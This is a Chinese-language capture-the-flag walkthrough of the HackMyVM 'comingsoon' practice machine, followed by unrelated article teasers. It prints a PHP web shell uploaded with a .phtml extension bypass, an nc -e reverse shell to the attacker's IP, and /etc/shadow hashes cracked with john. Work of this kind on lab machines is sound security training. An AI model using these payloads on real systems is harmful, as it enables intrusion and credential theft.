Comingsoon-phtml

server/2024/9/25 15:30:06/

刚开始没有IP
单用户修改密码也需要输入用户密码,不能改
/boot/grub/grub.cfg配置文件下

### BEGIN /etc/grub.d/00_header ###
set superusers="root"
password_pbkdf2 root grub.pbkdf2.sha512.10000.ACE3E31954E3E55AB9AB407CA8B6BC9D336B7376733F6B38DB1A2588CE98B6720458284C9C7C5B3AF79BB87046C0770269EF488A0090DF03FA738BCA0FAACD44.3367FD2518DDAC951F14DC7133D015542E0DA317473B41318DA591F20B01FEEBA368C09DA4E079297EDAC83B04445A014984418397306D48A4A5D033BE196B6C

看了wp,才知道root用户密码ToyStory3,进去后也没有dhclient命令获取ip
只能换一种方式,编辑vim /etc/network/interface
Linux(Debian)网卡设置_debian auto eth0-CSDN博客

comingsooneasy前端分析、文件上传绕过、提示信息利用、shadow 爆破、hydra 使用、

主机发现

sudo netdiscover -i eth0 -r 192.168.44.133/24
┌──(kali㉿kali)-[~]
└─$ fping -aqg 192.168.44.0/24

服务探测

sudo nmap -sV -A -T 4 -p- 192.168.44.137

只有22和80

目录爆破

http://192.168.44.137/notes.txt
Dave,Last few jobs to do...Set ssh to use keys only (passphrase same as the password)Just need to sort the images out:
resize and scp them or using the built-in image uploader.Test the backups and delete anything not needed.Apply an https certificate.Cheers,Webdev翻译戴夫,最后几项工作要做...将 ssh 设置为仅使用密钥(密码与密码相同)只需要对图像进行排序:
调整大小并对其进行 scp 或使用内置图像上传器。测试备份并删除不需要的任何内容。申请https证书。干杯,网络开发者http://192.168.44.137/index.php
右键检查源码看到提示Upload images link if EnableUploader set 翻译如果设置了 EnableUploader,则上传图像链接

检查当前页面的cookie信息,发现base64编码的东西

RW5hYmxlVXBsb2FkZXIK 
ZmFsc2UK
解码后
EnableUploader
false

综上所述,把false改成true编码后dHJ1ZQ==,就会出现文件上传的入口
http://192.168.44.137/5df03f95b4ff4f4b5dabe53a5a1e15d7.php
burp抓包,这里后端使用黑名单限制了php后缀的上传,尝试使用phtml后缀被解析成功。

POST /5df03f95b4ff4f4b5dabe53a5a1e15d7.php HTTP/1.1
Host: 192.168.44.137
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------30594177056923721121592264423
Content-Length: 379
Origin: http://192.168.44.137
Connection: close
Referer: http://192.168.44.137/5df03f95b4ff4f4b5dabe53a5a1e15d7.php
Cookie: RW5hYmxlVXBsb2FkZXIK=dHJ1ZQ==
Upgrade-Insecure-Requests: 1-----------------------------30594177056923721121592264423
Content-Disposition: form-data; name="fileToUpload"; filename="1.phtml"
Content-Type: image/png
<?php system($_GET['cmd']);?>
-----------------------------30594177056923721121592264423
Content-Disposition: form-data; name="submit"Upload Image
-----------------------------30594177056923721121592264423--

命令执行

http://192.168.44.137/assets/img/1.phtml?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data) 

nc反弹shell

http://192.168.44.137/assets/img/1.phtml?cmd=nc -e /bin/sh 192.168.44.128 9001
python3 -c 'import pty;pty.spawn("/bin/bash")'
或者
script /dev/null -c bash
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset

提权

目前看啥都没权限
只有/var/backups/目录下有个备份文件backup.tar.gz有用

www-data@comingsoon:/var/backups$ cp backup.tar.gz /tmp
www-data@comingsoon:/tmp$ tar -zxvf backup.tar.gz
www-data@comingsoon:/tmp$ cat etc/shadow
root:$y$j9T$/E0VUDL7uS9RsrvwmGcOH0$LEB/7ERUX9bkm646n3v3RJBxttSVWmTBvs2tUjKe9I6:18976:0:99999:7:::
scpuser:$y$j9T$rVt3bxjp6uYKKYJbYU2Zq0$Ysn02LrCwTUB7iQdRiROO7/WQi8JSGtwLZllR54iX0.:18976:0:99999:7:::

爆破

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ john -w=../rockyou.txt comningsoon --format=crypt tigger           (scpuser)  

切换用户

www-data@comingsoon:/home$ su scpuser //tiggerscpuser@comingsoon:~$ cat user.txt
cat user.txt
HMV{user:comingsoon.hmv:58842fc1a7}

查看老密码

scpuser@comingsoon:~$ cat .oldpasswords
cat .oldpasswords
Previous root passwords just incase they are needed for a backup\restoreIncredibles2
Paddington2
BigHero6
101Dalmations

参考这个链接才知道老密码的用处,原来密码是带有数字的动画电影名字:

https://28right.blogspot.com/2021/12/hackmyvm-comingsoon.html
生成单词列表

curl https://www.rottentomatoes.com/top/bestofrt/top_100_animation_movies/|grep ")</a>"|sed 's/[(].*$//'|tr -d ' '> wordlist

应该上面的链接已经失效了,也知道思路了。这里就直接拿别人的密码登录了。

root:ToyStory3
root@comingsoon:~# cat root.txt
cat root.txt
HMV{root:comingsoon.hmv:2339dc81ca}

http://www.ppmy.cn/server/49347.html

相关文章

idea 新建一个 JSP(JavaServer Pages)项目

环境设置&#xff1a; 确保你的开发环境中已经安装了 Java 开发工具包&#xff08;JDK&#xff09;和一个 Java Web 开发的集成开发环境&#xff08;IDE&#xff09;&#xff0c;比如 Eclipse、IntelliJ IDEA 或者 NetBeans。你还需要一个 Web 服务器&#xff0c;比如 Apache T…

docker命令记录

基本命令和参数 docker run: 运行一个新的容器实例。-itd: 组合参数&#xff0c;含义如下&#xff1a; -i: 以交互模式运行容器&#xff0c;保持标准输入打开。-t: 分配一个伪终端。-d: 后台运行容器&#xff0c;即使容器启动后依然返回控制台。 设备映射 --device/dev/dri…

【代码随想录——动态规划——第二周】

1. 0-1背包理论基础(一) 题目网址&#xff1a;https://kamacoder.com/problempage.php?pid1046 package mainimport "fmt"func main() {var n, bagSize intfmt.Scanln(&n, &bagSize)weights : make([]int, n)values : make([]int, n)for i : 0; i < n; …

【保姆级讲解下QT6.3】

&#x1f3a5;博主&#xff1a;程序员不想YY啊 &#x1f4ab;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f917;点赞&#x1f388;收藏⭐再看&#x1f4ab;养成习惯 ✨希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出…

C++中的模板方法模式

目录 模板方法模式&#xff08;Template Method Pattern&#xff09; 实际应用 数据处理流程 在线教育系统的课程模板 软件开发生命周期 总结 模板方法模式&#xff08;Template Method Pattern&#xff09; 模板方法模式是一种行为设计模式&#xff0c;它定义了一个操作…

Spring Boot集成Timefold Solver实现课程表编排

1. 什么是Timefold Solver&#xff1f; 每个组织都面临规划问题&#xff1a;使用一组有限的资源&#xff08;员工、资产、时间和金钱&#xff09;提供产品或服务。Timefold Solver 优化了此类规划&#xff0c;以更少的资源开展更多业务。这被称为约束满足编程&#xff08;属于…

力扣911.在线选举

力扣911.在线选举 类似1818. 将每个时刻的候选人存储 在时间段上做二分 class TopVotedCandidate {vector<int> time,person;public:TopVotedCandidate(vector<int>& persons, vector<int>& times) {int n persons.size();unordered_map<int,…

基于Java和SSM框架的多人命题系统

你好呀&#xff0c;我是计算机学长猫哥&#xff01;如果你对多人命题系统感兴趣或者有相关开发需求&#xff0c;文末可以找到我的联系方式。 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;Java SSM框架 工具&#xff1a;Eclipse、MySQL Workbench、…